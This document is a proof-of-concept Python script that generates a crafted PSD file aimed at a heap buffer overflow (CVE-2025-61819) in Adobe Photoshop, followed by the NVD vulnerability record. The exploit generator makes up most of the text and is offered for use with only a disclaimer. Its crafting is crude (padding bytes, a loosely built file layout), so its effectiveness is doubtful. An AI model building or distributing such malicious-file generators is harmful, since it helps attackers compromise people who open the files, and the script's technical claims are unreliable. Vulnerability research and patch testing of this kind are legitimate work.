CVE-2025-61819

# CVE-2025-61819 PoC - Adobe Photoshop Heap Buffer Overflow # Generate malicious PSD file to trigger heap overflow # This PoC demonstrates the vulnerability concept import struct import os def create_malicious_psd(): """ Create a malicious PSD file that triggers heap buffer overflow in Adobe Photoshop Desktop <= 26.8.1 """ # PSD file signature signature = b'8BPS' # Version: 1 (PSD) or 2 (PDD) version = struct.pack('>H', 1) # Reserved bytes (6 bytes) reserved = b'\x00' * 6 # Number of channels (1-56) channels = struct.pack('>H', 3) # Image height height = struct.pack('>I', 0x1000) # Image width width = struct.pack('>I', 0x1000) # Depth (bits per channel) depth = struct.pack('>H', 8) # Color mode (0 = Bitmap, 1 = Grayscale, etc.) color_mode = struct.pack('>H', 3) # Color mode data section with oversized data to trigger overflow color_mode_data = b'\x00' * 4 # Image resources section - crafted to trigger overflow # Using long layer name or oversized resource data image_resources = create_oversized_resource() # Layer and mask data section layer_mask = create_malicious_layer_data() # Composite image data image_data = create_composite_data() # Assemble PSD file psd = signature + version + reserved + channels + height + width + depth + color_mode psd += struct.pack('>I', len(color_mode_data)) + color_mode_data psd += struct.pack('>I', len(image_resources)) + image_resources psd += struct.pack('>I', len(layer_mask)) + layer_mask psd += image_data return psd def create_oversized_resource(): """Create oversized image resource to trigger buffer overflow""" resource_data = b'A' * 0x10000 # Oversized data return resource_data def create_malicious_layer_data(): """Create malicious layer data with oversized layer names""" # Layer name exceeding expected buffer size malicious_name = b'\x00' + b'B' * 0x1000 + b'\x00' layer_data = struct.pack('>I', len(malicious_name)) + malicious_name return layer_data def create_composite_data(): """Create composite image data section""" # Compression method: 0 = Raw, 1 = RLE, etc. compression = struct.pack('>H', 0) # Image data image_data = b'\x00' * 256 return compression + image_data # Generate and save the malicious PSD file if __name__ == '__main__': print('[+] Generating CVE-2025-61819 PoC for Adobe Photoshop') malicious_psd = create_malicious_psd() output_file = 'CVE-2025-61819_malicious.psd' with open(output_file, 'wb') as f: f.write(malicious_psd) print(f'[+] Malicious PSD file created: {output_file}') print(f'[+] File size: {len(malicious_psd)} bytes') print('[!] This PoC is for educational and security research purposes only')

{"cve": {"id": "CVE-2025-61819", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:41.710", "lastModified": "2025-11-12T18:25:47.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Photoshop Desktop versions 26.8.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:photoshop:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.9", "matchCriteriaId": "24078950-D65F-4648-B31B-B1D303D712D4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/photoshop/apsb25-108.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}